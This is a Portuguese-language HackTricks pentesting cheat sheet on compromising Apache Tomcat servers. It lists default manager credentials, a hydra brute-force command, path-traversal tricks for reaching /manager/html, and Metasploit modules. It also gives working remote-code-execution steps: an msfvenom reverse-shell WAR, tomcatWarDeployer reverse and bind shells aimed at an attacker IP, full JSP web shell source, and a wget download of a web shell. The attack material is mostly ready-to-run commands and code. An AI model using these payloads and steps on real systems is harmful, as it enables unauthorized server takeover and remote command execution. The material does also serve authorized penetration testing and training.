11 KiB
Tomcat
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Descoberta
- Geralmente roda na porta 8080
- Erro comum do Tomcat:
Enumeração
Identificação de Versão
Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Isso irá procurar o termo "Tomcat" na página de índice da documentação, revelando a versão na tag de título da resposta HTML.
Localização dos Arquivos do Gerente
Identificar as localizações exatas dos diretórios /manager
e /host-manager
é crucial, pois seus nomes podem ser alterados. Uma busca por força bruta é recomendada para localizar essas páginas.
Enumeração de Nomes de Usuário
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuário através de:
msf> use auxiliary/scanner/http/tomcat_enum
Credenciais Padrão
O diretório /manager/html
é particularmente sensível, pois permite o upload e a implantação de arquivos WAR, o que pode levar à execução de código. Este diretório é protegido por autenticação HTTP básica, com credenciais comuns sendo:
- admin:admin
- tomcat:tomcat
- admin:
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Essas credenciais podem ser testadas usando:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Outro diretório notável é /manager/status
, que exibe a versão do Tomcat e do SO, ajudando na identificação de vulnerabilidades.
Ataque de Força Bruta
Para tentar um ataque de força bruta no diretório de gerenciamento, pode-se usar:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Along with setting various parameters in Metasploit to target a specific host.
Vulnerabilidades Comuns
Divulgação de Backtrace de Senha
Acessar /auth.jsp
pode revelar a senha em um backtrace sob circunstâncias favoráveis.
Codificação de URL Dupla
A vulnerabilidade CVE-2007-1860 no mod_jk
permite a codificação de URL dupla para travessia de caminho, possibilitando acesso não autorizado à interface de gerenciamento através de uma URL especialmente elaborada.
Para acessar a web de gerenciamento do Tomcat, vá para: pathTomcat/%252E%252E/manager/html
/examples
As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo que são suscetíveis a divulgação de informações e ataques de cross-site scripting (XSS). Esses scripts, listados de forma abrangente, devem ser verificados quanto a acesso não autorizado e potencial exploração. Encontre mais informações aqui
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Exploit de Travessia de Caminho
Em algumas configurações vulneráveis do Tomcat, você pode ganhar acesso a diretórios protegidos no Tomcat usando o caminho: /..;/
Assim, por exemplo, você pode ser capaz de acessar a página do gerenciador do Tomcat acessando: www.vulnerable.com/lalala/..;/manager/html
Outra maneira de contornar caminhos protegidos usando esse truque é acessar http://www.vulnerable.com/;param=value/manager/html
RCE
Finalmente, se você tiver acesso ao Gerenciador de Aplicações Web do Tomcat, você pode fazer upload e implantar um arquivo .war (executar código).
Limitações
Você só poderá implantar um WAR se tiver privilégios suficientes (papéis: admin, manager e manager-script). Esses detalhes podem ser encontrados em tomcat-users.xml, geralmente definido em /usr/share/tomcat9/etc/tomcat-users.xml
(varia entre versões) (veja a seção POST).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Crie o war para implantar:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
- Faça o upload do arquivo
revshell.war
e acesse-o (/revshell/
):
Shell bind e reverso com tomcatWarDeployer.py
Em alguns cenários isso não funciona (por exemplo, versões antigas do sun)
Baixar
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Shell reversa
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Shell de ligação
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Usando Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Método manual - Web shell
Crie index.jsp com este conteúdo:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Você também pode instalar isso (permite upload, download e execução de comandos): http://vonloesch.de/filebrowser.html
Método Manual 2
Obtenha um shell web JSP, como este e crie um arquivo WAR:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
O nome do arquivo de credenciais do Tomcat é tomcat-users.xml
e este arquivo indica o papel do usuário dentro do tomcat.
find / -name tomcat-users.xml 2>/dev/null
Exemplo:
[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
Outras ferramentas de varredura do tomcat
Referências
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.